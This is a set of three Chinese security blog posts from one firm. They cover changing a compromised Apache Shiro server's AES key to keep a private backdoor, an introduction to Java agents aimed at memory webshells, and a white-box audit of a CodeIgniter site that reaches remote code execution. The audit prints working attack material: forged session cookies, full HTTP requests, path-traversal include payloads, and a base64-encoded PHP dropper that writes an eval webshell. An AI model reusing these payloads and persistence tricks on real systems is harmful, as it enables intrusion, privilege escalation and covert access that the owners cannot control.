shiro的漏洞已经到了家喻户晓的地步，在实际的渗透中，看到shiro都会使用各种工具扫描一下。而后来shiro采用随机密钥之后，攻击难度就增加了。现在假设有这么一个情况：通过shiro反序列化得到了目标主机的权限，然后偷偷的改掉目标的key，那么这个漏洞就只有你能够攻击，某种意义上来说，帮人家修复了漏洞，也算是留了后门。

分析shiro反序列化漏洞的文章网上已经有很多了，这里就不再赘述，直接讲重点的地方。

在解析rememberMe的时候，先将其base64解码，然后使用AES解密，在AES解密的时候，会调用org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey()，更改掉这个函数的返回值，就可以更改解密的密钥。实现也很简单，只需要改掉上面的常量和start.txt即可：

public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";public static final String editClassName2 = editClassName.replace('.', '/');public static final String editMethod = "doFilter";
// start.txt (使用insertBefore()){    $0.setCipherKey(org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));}
// start.txt (使用setBody()){    return (org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));}

这里使用vulhub/CVE-2016-4437，演示一下效果：

注入前，使用shiro_tool.jar检验：

注入shiroKey.jar：

注入后，使用shiro_tool.jar检验：

可以看到shiro的key被成功更改。


参考资料


[Javaassist简介](https://www.jianshu.com/p/334a148b420a)


[Javassist 使用指南（一）](

https://www.jianshu.com/p/43424242846b)


[利用 intercetor 注入 spring 内存 webshell]

(https://landgrey.me/blog/19/)


[学Springboot必须要懂的内嵌式Tomcat启动与请求处理](https://www.jianshu.com/p/7dbaac902074)



阅读原文

跳转微信打开

]]> Fri, 02 Apr 2021 17:54:00 +0800 护网专题第一篇-Java内存马（上） https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484071&idx=1&sn=eb5dad6fdb758a41311e3ac8998433a2 Java Agent 从入门到内存马（上） 原创 零鉴科技 2021-03-26 18:40

Java Agent 从入门到内存马（上）

Java Agent 从入门到内存马（上）









入门


介绍

注意：这里只是简短的介绍一下，想要详细了解，请看参考资料。

在JDK1.5以后，javaagent是一种能够在不影响正常编译的情况下，修改字节码。

java作为一种强类型的语言，不通过编译就不能够进行jar包的生成。而有了javaagent技术，就可以在字节码这个层面对类和方法进行修改。同时，也可以把javaagent理解成一种代码注入的方式。但是这种注入比起spring的aop更加的优美。

Java agent的使用方式有两种：

•实现premain方法，在JVM启动前加载。•实现agentmain方法，在JVM启动后加载。

premain和agentmain函数声明如下，拥有Instrumentation inst参数的方法优先级更高：

public static void agentmain(String agentArgs, Instrumentation inst) {    ...}
public static void agentmain(String agentArgs) {    ...}
public static void premain(String agentArgs, Instrumentation inst) {    ...}
public static void premain(String agentArgs) {    ...}

第一个参数String agentArgs就是Java agent的参数。

第二个参数Instrumentaion inst相当重要，会在之后的进阶内容中提到。

premain


要做一个简单的premain需要以下几个步骤：

1.创建新项目，项目结构为：

agent├── agent.iml├── pom.xml└── src    ├── main    │   ├── java    │   └── resources    └── test        └── java
2.创建一个类（这里为com.shiroha.demo.PreDemo），并且实现premain方法。
package com.shiroha.demo;
import java.lang.instrument.Instrumentation;
public class PreDemo {    public static void premain(String args, Instrumentation inst) throws Exception{        for (int i = 0; i < 10; i++) {            System.out.println("hello I`m premain agent!!!");        }    }}

3.在src/main/resources/目录下创建META-INF/MANIFEST.MF，需要指定Premain-Class。

Manifest-Version: 1.0Premain-Class: com.shiroha.demo.PreDemo


要注意的是，最后必须多一个换行。


4.打包成jar

选择Project Structure -> Artifacts -> JAR -> From modules with dependencies。

默认的配置就行。

选择Build -> Build Artifacts -> Build。

之后产生out/artifacts/agent_jar/agent.jar：

└── out    └── artifacts        └── agent_jar            └── agent.jar

5.使用-javaagent:agent.jar参数执行hello.jar，结果如下。

可以发现在hello.jar输出hello world之前就执行了com.shiroha.demo.PreDemo$premain方法。


当使用这种方法的时候，整个流程大致如下图所示：

然而这种方法存在一定的局限性——只能在启动时使用-javaagent参数指定。在实际环境中，目标的JVM通常都是已经启动的状态，无法预先加载premain。相比之下，agentmain更加实用。


agentmain


写一个agentmain和premain差不多，只需要在META-INF/MANIFEST.MF中加入Agent-Class:即可。

Manifest-Version: 1.0Premain-Class: com.shiroha.demo.PreDemoAgent-Class: com.shiroha.demo.AgentDemo

不同的是，这种方法不是通过JVM启动前的参数来指定的，官方为了实现启动后加载，提供了Attach API。Attach API 很简单，只有 2 个主要的类，都在 com.sun.tools.attach 包里面。着重关注的是VitualMachine这个类。


VirtualMachine


字面意义表示一个Java 虚拟机，也就是程序需要监控的目标虚拟机，提供了获取系统信息、 loadAgent，Attach 和 Detach 等方法，可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id)，远程连接到jvm上 。代理类注入操作只是它众多功能中的一个，通过loadAgent方法向jvm注册一个代理程序agent，在该agent的代理程序中会得到一个Instrumentation实例。

具体的用法看一下官方给的例子大概就理解了：

// com.sun.tools.attach.VirtualMachine
// 下面的示例演示如何使用VirtualMachine:          // attach to target VM        VirtualMachine vm = VirtualMachine.attach("2177");          // start management agent        Properties props = new Properties();        props.put("com.sun.management.jmxremote.port", "5000");        vm.startManagementAgent(props);        // detach        vm.detach();  // 在此示例中，我们附加到由进程标识符2177标识的Java虚拟机。然后，使用提供的参数在目标进程中启动JMX管理代理。最后，客户端从目标VM分离。

下面列几个这个类提供的方法：

public abstract class VirtualMachine {  // 获得当前所有的JVM列表    public static List<VirtualMachineDescriptor> list() { ... }        // 根据pid连接到JVM    public static VirtualMachine attach(String id) { ... }        // 断开连接    public abstract void detach() {}      // 加载agent，agentmain方法靠的就是这个方法  public void loadAgent(String agent) { ... }    }

根据提供的api，可以写出一个attacher，代码如下：

import com.sun.tools.attach.AgentInitializationException;import com.sun.tools.attach.AgentLoadException;import com.sun.tools.attach.AttachNotSupportedException;import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class AgentMain {    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {        String id = args[0];        String jarName = args[1];
        System.out.println("id ==> " + id);        System.out.println("jarName ==> " + jarName);
        VirtualMachine virtualMachine = VirtualMachine.attach(id);        virtualMachine.loadAgent(jarName);        virtualMachine.detach();                System.out.println("ends");    }}

过程非常简单：通过pid attach到目标JVM -> 加载agent -> 解除连接。

现在来测试一下agentmain：

package com.shiroha.demo;
import java.lang.instrument.Instrumentation;
public class AgentDemo {    public static void agentmain(String agentArgs, Instrumentation inst) {        for (int i = 0; i < 10; i++) {            System.out.println("hello I`m agentMain!!!");        }    }}

成功attach并加载了agent。

整个过程的流程图大致如下图所示：









进阶


Instrumentation


Instrumentation是JVMTIAgent（JVM Tool Interface Agent）的一部分。Java agent通过这个类和目标JVM进行交互，从而达到修改数据的效果。

下面列出这个类的一些方法，更加详细的介绍和方法，可以参照官方文档[1]。也可以看下面的参考资料[2]。

public interface Instrumentation {        // 增加一个 Class 文件的转换器，转换器用于改变 Class 二进制流的数据，参数 canRetransform 设置是否允许重新转换。在类加载之前，重新定义 Class 文件，ClassDefinition 表示对一个类新的定义，如果在类加载之后，需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后，后续的类加载都会被Transformer拦截。对于已经加载过的类，可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后，除非再次被retransform，否则不会恢复。    void addTransformer(ClassFileTransformer transformer);
    // 删除一个类转换器    boolean removeTransformer(ClassFileTransformer transformer);
    // 在类加载之后，重新定义 Class。这个很重要，该方法是1.6 之后加入的，事实上，该方法是 update 了一个类。    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
    // 判断目标类是否能够修改。    boolean isModifiableClass(Class<?> theClass);
    // 获取目标已经加载的类。    @SuppressWarnings("rawtypes")    Class[] getAllLoadedClasses();        ......}

由于知识点过多和篇幅限制，只先介绍getAllLoadedClasses和isModifiableClasses。

看名字都知道：

•getAllLoadedClasses：获取所有已经加载的类。•isModifiableClasses：判断某个类是否能被修改。

修改之前写的agentmain：

package com.shiroha.demo;
import java.io.File;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.lang.instrument.Instrumentation;
public class AgentDemo {    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {        Class[] classes = inst.getAllLoadedClasses();        FileOutputStream fileOutputStream = new FileOutputStream(new File("/tmp/classesInfo"));        for (Class aClass : classes) {            String result = "class ==> " + aClass.getName() + "\n\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\n";            fileOutputStream.write(result.getBytes());        }        fileOutputStream.close();    }}

重新attach到某个JVM，在/tmp/classesInfo文件中有如下信息：

class ==> java.lang.invoke.LambdaForm$MH/0x0000000800f06c40            Modifiable ==> false
class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f06840            Modifiable ==> false
class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07440            Modifiable ==> false
class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07040            Modifiable ==> false
class ==> jdk.internal.reflect.GeneratedConstructorAccessor29            Modifiable ==> true
........

得到了目标JVM上所有已经加载的类，并且知道了这些类能否被修改。

至于如何修改JVM上的字节码，请听下回分解。



参考资料


1.[JVM源码分析之javaagent原理完全解读](https://developer.aliyun.com/article/2946)


2.[javaagent使用指南]

(https://www.cnblogs.com/rickiyang/p/11368932.html)


3.[Java Agent基本简介和使用]

(https://www.jianshu.com/p/de6bde2e30a2)



阅读原文

跳转微信打开

]]> Fri, 26 Mar 2021 18:40:00 +0800 记一次跌宕起伏的白盒审计到RCE https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484045&idx=1&sn=d8b55ddd884911b72316d855ae84548f 记一次跌宕起伏的白盒审计到RCE~ 原创 零鉴科技 2021-03-16 18:01

记一次跌宕起伏的白盒审计到RCE~

记一次跌宕起伏的白盒审计到RCE


零鉴科技





引言

在一次项目中，前期拿到了站点的源码，队里师傅白盒审出了一条曲折的利用链，现在对这条链的挖掘过程重新做一次复现并记录。

这条链涉及经典漏洞包括：session 伪造、任意文件上传、条件竞争、文件包含，每一个漏洞都非常经典，串在一起变成了一个 big boom。

前排说明：目标站点使用框架为 CodeIgniter，本文目的是技术研究和思路分享，涉及到关于目标站点的信息已被隐去，相关代码特征如变量、函数的命名也已替换，但代码的逻辑均保留，仍具备参考价值。


PART1.
找到上传点


检索一遍没有发现明显的命令注入、代码注入。

转而找上传或文件写入漏洞，主要关注 file_put_contents 和 move_uploaded_files 等函数

在某一个上传接口 /uploadController/uploadMethod 中，找到如下代码段：

$fileInput = $_FILES;$targetPath = "/tmp/";$file = $targetPath . basename($fileInput['uploadedFile']['name']);move_uploaded_file($fileInput['uploadedFile']['tmp_name'], $file);$multipartParams = [    ......];$result = apiRequest(    'POST',    ......    $multipartParams);if (file_exists($file)) {   unlink($file);}

代码的逻辑很清晰：

1.从 $_FILES 中提取出 uploadedFile 这个文件，保留上传时的文件名，并将其移动到 /tmp 目录下。2.构造一个表单，其中 imageFile 参数即为第一步中被移动的文件，然后和其他参数一起 POST 向另一个接口。3.经典“卸磨杀驴”，删除刚刚移动的文件。

然后这里就算是一个 “不稳定” 的文件上传点，路径为 /tmp/[上传文件名]。

利用场景也 “被迫” 地让我们想好了：需要一个文件包含来和上面这段代码中的 unlink 操作进行竞争，在文件被删除之前包含它，来达到执行代码的效果。







PART2.
找文件包含




目标是找到能控制文件路径的包含点，这里发现了一个 Meathods 类，它包含一个 method1 方法符合我们的需求。

public function method1(){    header('Content-Type: application/json');    $response = array();    if ($this->input->is_ajax_request()) {        $data = $this->input->post(null, true);        if (empty($data)) {            $data = $this->input->get(null, true);        }        $class = $data['class'];        $method = $data['method'];        if ($this->isMethodAllowed($method)) {            unset($data['class']);            unset($data['method']);            $this->load->model($class);            $response = $this->$class->$method($data);        }    }    return;}

这部分逻辑也很清晰

1.is_ajax_request() 通过请求头 HTTP_X_REQUESTED_WITH 的值是否为 "XMLHttpRequest" 来判断是不是异步请求，如果不是，则返回一个 json 编码后的空数组。之后的漏洞利用过程中需要注意这个点；2.从 post 参数中获取请求的变量，如果没有就从 get 参数中获取。post() 和 get() 两个函数的具体逻辑为遍历 $_POST 和 $_GET 来获取变量。(支持从 post 数据中获取参数的这一特性，在绕过 waf 方面能给我们提供更多选择)。3.获取到对应的 $class 和 $method 之后，isMethodAllowed() 检查了被调用的方法是否被允许。4.调用框架定义好的 this->load->model 方法来加载对应的类。

避免有什么框架定义好的限制，有必要看一下 this->load->model 的逻辑。

$this->load =& load_class('Loader', 'core');

load_class() 函数是框架与定义的函数，它会去对应的路径包含对应的文件，并加载其中的类，这样我们就找到了 this->load，也就有了 model 函数的代码：

public function model($model, $name = '', $db_conn = FALSE){    $path = '';    if (($last_slash = strrpos($model, '/')) !== FALSE)    {        $path = substr($model, 0, $last_slash + 1);        $model = substr($model, $last_slash + 1);    }    if ($name == '')    {        $name = $model;    }    $CI =& get_instance();    $model = strtolower($model);    foreach ($this->_ci_model_paths as $mod_path)    {        if ( ! file_exists($mod_path.'models/'.$path.$model.'.php'))        {            continue;        }        // 这里的 require_once 可以被利用来文件包含        require_once($mod_path.'models/'.$path.$model.'.php');        $CI->$name = new $model();        return;    }    ......}

开发常见的问题，相信了用户的输入，没有对输入进行足够的过滤，这个函数没有对传入的参数 $model 做严格的过滤，导致可以通过 "../" 进行目录穿越，从而可以实现对任意文件的包含。

那么再回到调用 model 的地方再看：

$this->load->model($class);$response = $this->$class->$method($data);

实例化了目标类之后，还调用了相应的方法，可谓非常贴心了。






PART3.
尝试利用






从目前已经掌握的漏洞点出发，已经可以构思出这个漏洞的利用方式，首先准备一个恶意的 php 文件准备上传：

<?phpclass TempClass{    function __construct(){        print('in __construct()\n');        file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));            }    function getData1($params){        print('in getData1()\n');    }}

包含这个恶意文件并实例化 TempClass 时，会调用构造函数写入一个 /tmp/TempClass2.php，内容为：

<?phpclass TempClass2{    function __construct(){       print('in __contruct\n');       eval($_POST['shell']);    }    function getData1($params){       print('in getData1');       var_dump($params);    }}

那么，接下来需要找到这个上传的入口，在一处 js 中找到了对应的代码：

$('.form-file').on('change', function () {    ......    $(formId + '.form-upload').val(file[0].name);    var formData = new FormData();    formData.append('uploadedFile', file[0]);    ......});......context.methodsCall = function(formData) {    ......    $.ajax({        url: '/uploadController/uploadMethod/',        type: 'POST',        data: formData,        dataType: 'json',        ......        success: function (data) {            ......        }    });}

从前端页面找到这个接口似乎不太方便，但是从 js 的逻辑中构建出请求包倒也不困难。

只是遗憾的是，尝试访问之后发现这个上传接口不能随意访问，所以还得从程序入口开始审计哪里做了鉴权。






PART4.
找到鉴权






代码定义了 Hooks 类，在对每一个控制器的进行操作前，都会先调用若干个 hooks 中定义的方法，其中和鉴权相关的方法位于：hooks/auth.php

鉴权相关的函数为 permissionCheck()：

function permissionCheck() {    ......    $user = $CI->load->get_var('auth_user');    $permissions = $user['permissions'];    ......    if (! in_array($action, $allow)) {        if (! isset($permissions[$controller][$action])) {            ......            redirect('permissions/unauthorized');        }    }}

这里可以看到，我们想要调用的方法，需要在 $user['permissions'] 中被指定，$user 从 $CI->load->get_var('auth_user') 中来，auth_user 刚好在另一个 hooks 方法 loginCheck() 中被设置。

function loginCheck() {    ......    if ($CI->router->method != 'login' && !$CI->session->userdata('logged_in')) {        redirect('users/login');    }    elseif ($CI->session->userdata('logged_in')) {        $user = new User;        $user = $user->findUserById($CI->session->userdata('logged_in'));        if (empty($user)) {            $CI->session->destroySess();            redirect('users/login');        }        elseif (empty($user['permissions'])) {            $CI->session->destroySess();            redirect('users/login');        }        else {            $CI->session->setUserdata('user', $user);            $CI->load->vars('auth_user', $user);        }        if ($CI->router->method == 'login') redirect('users');    }}

直接来看 elseif 部分，对于已经登陆的用户，会根据用户 id 用 findUserById() 到数据库中查询相应的信息，其中包含一个 permissions 字段，似乎看到了我们想要的东西，之后又将用户信息用 $CI->load->vars 设置为一个 auth_user 变量，也就是 permissionCheck() 函数中参数的来源，

来看一下 findUserById() 具体操作了哪些数据库：

public function findUserById($id = null) {    if ($id) {        $q = Doctrine_Query::create()            ->from('User u')            ->leftJoin('u.Role r')            ->leftJoin('r.Permission p')            ->leftJoin('u.Sessions s')            ->where('u.id = ?', $id);        $user = $q->fetchOne();        Doctrine_Manager::connection()->close();        if (empty($user)) {            return array();        }        else {            $user = $user->toArray();            $permissions = array();            if (isset($user['Role']['Permission']) && !empty($user['Role']['Permission'])) {                foreach ($user['Role']['Permission'] as $permission) {                    $permissions[$permission['controller']][$permission['action']] = $permission['id'];                }            }            $customData = $this->_unserialize($user['user_data']);            array_merge($permisssions, $customData['permission']);            $user['permissions'] = $permissions;            return $user;        }    }    else {        return array();    }}

跟踪 findUserById() 的逻辑发现，主要进行了数据库查询操作，但是对于 $permissions，还有一部分来自 session 相关的数据库。






PART5.
session伪造






常规数据库可能没办法直接修改，但是 session 数据库也许会伴随用户状态的改变而修改，那么如果 session 数据库中的信息可控，也可以达到我们的目的。

在 Session.php 中可以找到对 cookie 的相应操作。

if ( ! $this->readSess()){    $this->createSess();}else{    $this->updateSess();}$this->markFlashdata();

首先看一下 sess_read() 函数

function readSess(){    $session = $this->CI->input->cookie($this->sess_cookie_name);    ...... （省略部分校验逻辑）    if ($this->sess_encrypt_cookie == TRUE)    {        $session = $this->CI->encrypt->decode($session);    }    $session = $this->_unserialize($session);    ......(校验 User-Agent / IP / last_activity 相关)    if ($this->sess_use_database === TRUE)    {        ......(通过数据库校验 User-Agent / IP / last_activity 相关)        $query = $this->CI->db->get($this->sess_table_name);        ......        $row = $query->row();        if (isset($row->user_data) AND $row->user_data != '')        {            $customData = $this->_unserialize($row->user_data);            if (is_array($customData))            {                foreach ($customData as $key => $val)                {                    $session[$key] = $val;                }            }        }    }    $this->userdata = $session;    unset($session);    return TRUE;}

看起来都是常规的操作，

1.首先校验了 cookie 的合法性，在设置 cookie 时就用了尾部的签名了来做校验；(这部分逻辑在代码中省略)2.紧接着判断 cookie 中的其他特征，UA、ip 地址、过期时间等等是否合法；3.最后还有一些用户自定义的数据，这些自定义数据先从数据库中取得的，也被放到了 $session 变量中。

然而 $session 变量最开始却是从这里来的：$session = $this->_unserialize($session);

当然这里似乎还有潜在的反序列化漏洞，不过暂且先不关注。$session 最后在 $this->userdata = $session; 所以，如果我们直接在 cookie 中构造相应的数据结构，当它被反序列化到 $session 变量后，仍然可以被保存到 userdata 中。

紧接着 readSess() 之后， markFlashdata() 中调用了 setUserdata() 更新 $userdata，更进一步调用 writeSess() 写入到数据库中，

function setUserdata($newdata = array(), $newval = ''){    if (count($newdata) > 0)    {        foreach ($newdata as $key => $val)        {            $this->userdata[$key] = $val;        }    }    $this->writeSess();}

然后是 writeSess()，这里将 $userdata 做了分类处理，并写入了数据库

function writeSess(){    ......    $customUserdata = $this->userdata;    $cookieUserdata = array();    foreach (array(.....) as $val)    {        unset($customUserdata[$val]);        $cookieUserdata[$val] = $this->userdata[$val];    }    $customUserdata = $this->_serialize($customUserdata);    $this->CI->db->where('session_id', $this->userdata['session_id']);  $this->CI->db->update($this->sess_table_name, array(......, 'user_data' => $customUserdata));    ......}

调用 writeSess() 函数将除部分特殊字段之外其他字段作为 “自定义数据” 以关键字 user_data 存入数据库中，这也是我们想要操作的数据。

接下来就要着手伪造 cookie 了，本地执行对应的加解密算法。

加密部分：

function encode($string, $key = ''){    $key = $this->get_key($key);    $enc = $this->cryptEncode($string, $key);    return base64_encode($enc);}

解密部分：

function decode($string, $key = ''){    $key = $this->getKey($key);    if (preg_match('/[^a-zA-Z0-9\/\+=]/', $string))    {        return FALSE;    }    $dec = base64_decode($string);    if (($dec = $this->cryptDecode($dec, $key)) === FALSE)    {        return FALSE;    }    return $dec;}

$key 可以在配置文件中拿到。

具体 mcrypt_decode() 和 mcrypt_encode() 的代码很长，此处省略。






PART6.
正式攻击






首先用已经掌握的低权限账号密码登陆，登陆之后会得到一个已经 "logged_in" 的 cookie。

例如：

ci_session=xfaaLHsFHaexzWJQii6sC/Us7ydR6Y3PWILpwx1L5Hqlqu9SLVvO1uIjUWFsi4DhQl+FRvb3WjNASlaKYuT33PLMUSVxwWzMneuXUUWfhvAyu7hqq2nrn1TV044A9H77vkZ98dpBbHGzG5vXW0XBioeDL14f6Zp+0iho59bgTdqmibgEz1wfi6JUcUeKQ+eA4Hso+B42mMSC1V1m3MewyWqVhiiKL8ZgHexjnkeHOcty+0l+iBX2biiSEtQz0GJDPU3OoKmwF2M8MnkfNDFh6DhgwfH26LBVWmiUrJm75yBh6VyYkwboLixBYlHuc0Z4mzWYg+VOxWcjRFF6dzJ37NU8rXQYJap2XlSU3Yqc+N97YgRrMo6yLOPP9IakkM+YcqyImXF1zb77KKh5pIgqPFZR9xekt9p8EvtUpQKZrg8=824f09cccb5cf704340df4b5c205c26c5e9e52c2

解密之后：

a:4:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxx;}

给这个序列化字符串加一点东西上去：

a:5:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxxxxx;s:10:"permission";a:1:{s:16:"uploadController";a:1:{s:12:"uploadMethod";s:1:"1";}}}

然后调用加密函数再生成新的 cookie:

ci_session=wFGkjcdbNDRwLaIh3t+AkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM+9iRbYEqt2B/V+Mcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa+4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO+cejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL+aSSFL2VilJEQTr+UxZ28NNERMkPlALDjy03itGFjf3+F1Y7m+rSCcfFMBpWPDpSA5v3uoFYgc44HB+HyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm+yeJ/2wDbQ+E+IjgdZcrFGtKZwzZafaBH+2pcDG2Tbo=5c154e08c40a5d6a7652d8700429971065e97e07

具体利用过程中用到的请求包：

第一步：利用伪造的 cookie 进行上传

part1：
POST /uploadController/uploadMethod HTTP/1.1......Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37acContent-Length: xxx
--------------------------85a71e8a43af37acContent-Disposition: form-data; name="uploadedFile"; filename="TempClass.php"Content-Type: image/png
<?phpclass TempClass{    function __construct(){        print('in __construct()\n');        file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));            }    function getData1($params){        print('in getData1()\n');    }}?>--------------------------85a71e8a43af37ac--

第二步，因为需要条件竞争，可以考虑把这个上传包放到 intruder 里重放个几百次，然后在上传的过程中，去尝试包含 /tmp/TempClass.php ，来达到竞争的效果。

part2:
POST /Meathods/method1 HTTP/1.1......Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37acContent-Length: 314
--------------------------85a71e8a43af37acContent-Disposition: form-data; name="class"
../../../../../../../../../../../../../../../../../../../../tmp/TempClass--------------------------85a71e8a43af37acContent-Disposition: form-data; name="method"
getData1--------------------------85a71e8a43af37ac--

第三步，一旦包含成功，那么在实例化 TempClass 的时候，会写入一个新的 TempClass2，这下可没有代码会去 unlink 它了，可以被稳定的利用。

part3:
POST /Meathods/method1 HTTP/1.1......Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37acContent-Length: 433
--------------------------85a71e8a43af37acContent-Disposition: form-data; name="class"
../../../../../../../../../../../../../../../../../../../../tmp/TempClass2--------------------------85a71e8a43af37acContent-Disposition: form-data; name="method"
getData1--------------------------85a71e8a43af37acContent-Disposition: form-data; name="shell"
var_dump("hello,world");--------------------------85a71e8a43af37ac--


OK！打完收工。








REVIEW

稍微来总结一下整条利用链：

1.找到文件上传 -> 一个 “不稳定” 的文件上传2.找文件包含 -> 目录穿越导致任意文件包含3.条件竞争 -> 结合 1、2 条件竞争获得 RCE4.找权限控制 -> 伪造 cookie 得到任意接口的访问权限


阅读原文

跳转微信打开

